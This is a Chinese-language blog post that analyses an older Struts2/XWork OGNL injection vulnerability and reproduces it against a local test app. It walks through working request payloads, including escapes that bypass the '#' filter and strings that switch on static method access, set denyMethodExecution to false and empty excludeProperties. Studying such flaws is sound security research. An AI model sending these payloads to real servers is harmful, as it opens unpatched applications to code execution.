首先,這個(gè)漏洞已經(jīng)是比較早的一個(gè)了,大概影響范圍是struts2.2.1.1以下版本(這個(gè)其實(shí)是不對(duì)的),其次值得參考的參考的網(wǎng)上公開資料有
http://security.ctocio.com.cn/100/11466600.shtml
這是我看過的唯一的一篇對(duì)這個(gè)漏洞有一定深入講解的文章。
http://www.securityfocus.com/archive/1/521121
這個(gè)是一個(gè)發(fā)散的文章,指出了struts2的高版本的一些人在持續(xù)的問題,其中很多都是高危的。
這是一個(gè)很關(guān)鍵的網(wǎng)站,在這里你可以直接下載到不同的struts2的版本,以及其中用到的xwork,ognl的jar包以及源代碼和api文檔。只有自己重現(xiàn)了這個(gè),才可以深入研究struts2的版本演化。
其次struts2的這個(gè)漏洞的實(shí)質(zhì)是ognl的靈活表達(dá)問題,我們?cè)趕truts2中的自動(dòng)填充變量(就是我們習(xí)慣的get,set,而不用手動(dòng)再繁瑣的request.getParmeter())。但是ognl的能力遠(yuǎn)超這些,他可以在變量及賦值過程訪問上下文變量,執(zhí)行java靜態(tài)方法,甚至于新建java對(duì)象,及調(diào)用對(duì)應(yīng)方法。
struts2的漏洞就是緣于此。
http://commons.apache.org/ognl/language-guide.html
這個(gè)是ognl的官網(wǎng),在這里能看到不少這個(gè)ognl的表達(dá)式的介紹。
下來開始測(cè)試,
我首先選擇的是struts2.1.18版本這是一個(gè)簡(jiǎn)單的賦值測(cè)試,目的是改變context中的
43_memberAccess['allowStaticMethodAccess']=true,這個(gè)事webwork中很重要的一個(gè)參數(shù),他決定了你是否可以在ognl表達(dá)式中使用靜態(tài)方法,這個(gè)在后面的使用中十分重要。
http://localhost:8080/sr218/ice.action?#_memberAccess['allowStaticMethodAccess']=true
實(shí)際上這句話并不能很好的完成工作,因?yàn)閟truts2中的xwork過濾掉了#,這里就是這個(gè)漏洞的起始點(diǎn),雖然他過濾掉了#
但是我們可以使用\u0020 \43 \043 ,分別是16進(jìn)制的unicode編碼,8進(jìn)制的編碼這三種方式繞過對(duì)#的過濾
http://localhost:8080/sr218/ice.action?\43_memberAccess['allowStaticMethodAccess']=true
但是如果這樣依舊會(huì)有問題,會(huì)產(chǎn)生無法解析的語法樹,因?yàn)閈43這樣的他是直接無法解析的,需要用'號(hào)括起來
http://localhost:8080/sr218/ice.action?'\43_memberAccess[\'allowStaticMethodAccess\']'=true
由于外層有了單引號(hào),所以內(nèi)層也要對(duì)單引號(hào)做轉(zhuǎn)義。這樣的語句就可以正常生成ast樹了
接下來問題實(shí)際上是現(xiàn)在這樣仍然無法識(shí)別出#_memberAccess['allowStaticMethodAccess'],所以這里才用了個(gè)小技巧,構(gòu)造了復(fù)雜一些的ast樹
('\43_memberAccess[\'allowStaticMethodAccess\']')(a)
這樣的ast樹實(shí)際上是有兩個(gè)節(jié)點(diǎn),
('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true
然后賦值就可以了,這里我覺得之所以需要構(gòu)建2層語法樹,實(shí)質(zhì)上是和轉(zhuǎn)義有關(guān)的。
http://localhost:8080/sr218/ice.action?('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true
這就是對(duì)
對(duì)這個(gè)context中控制ognl關(guān)鍵變量的改變。
當(dāng)然我們還有另一種寫法
http://localhost:8080/sr218/ice.action?('\43_memberAccess.allowStaticMethodAccess')(b)=true
這樣的寫法也是可以的,而且比較簡(jiǎn)潔,就看你怎么選了
除了#_memberAccess.allowStaticMethodAccess'是一個(gè)關(guān)鍵屬性外,'xwork.MethodAccessor.denyMethodExecution’是另一個(gè)關(guān)鍵屬性,意義如同名字,這個(gè)屬性決定了是否可以執(zhí)行方法,只有當(dāng)這個(gè)屬性為false時(shí),我們才可以利用ognl自定義變量,調(diào)用一些關(guān)鍵的方法 例如FileWriter的append方法。
xwork.MethodAccessor.denyMethodExecution和#_memberAccess.allowStaticMethodAccess'的區(qū)別在于#_memberAccess.allowStaticMethodAccess'是一個(gè)context中的屬性,而xwork.MethodAccessor.denyMethodExecution則是value hashmap中的一項(xiàng),這就決定了對(duì)這個(gè)變量的覆蓋不同于上一個(gè)方法。
如果采用第一種方法去覆蓋的話,查看內(nèi)存中,xwork.MethodAccessor.denyMethodExecution=java.lang.StringXXX大概是個(gè)這么個(gè)東西
而我們希望的是覆蓋完變成
xwork.MethodAccessor.denyMethodExecution=false這樣的形式
解決方案:
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
實(shí)際上就是
#context['xwork.MethodAccessor.denyMethodExecution']=false
放到了一個(gè)ast的樹枝中,注意,要放到第三層,才能保證解析正確
這個(gè)是有人給出的解決方案。 http://www.tengsu.com/school/top/2011/school_4595_4.html
同樣他指出了在xwork 2.1.2.jar中存在bug,大家可以看看他的文章,最終他給出了解決思路,就是在不利用靜態(tài)方法的情況下,想辦法覆蓋掉excludeProperties
同樣這個(gè)不能采用和第一個(gè)一樣的方法覆蓋,那樣只能得到字符串。應(yīng)采用和第二個(gè)類似的方法覆蓋掉
我就直接放答案了,大家可以自己試試,這個(gè)只有在xwork2.1.2中才必須加上這句,以后版本加了也不算錯(cuò),不過沒什么效果
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號(hào)聯(lián)系: 360901061
您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺我的文章對(duì)您有幫助,請(qǐng)用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長(zhǎng)非常感激您!手機(jī)微信長(zhǎng)按不能支付解決辦法:請(qǐng)將微信支付二維碼保存到相冊(cè),切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對(duì)您有幫助就好】元
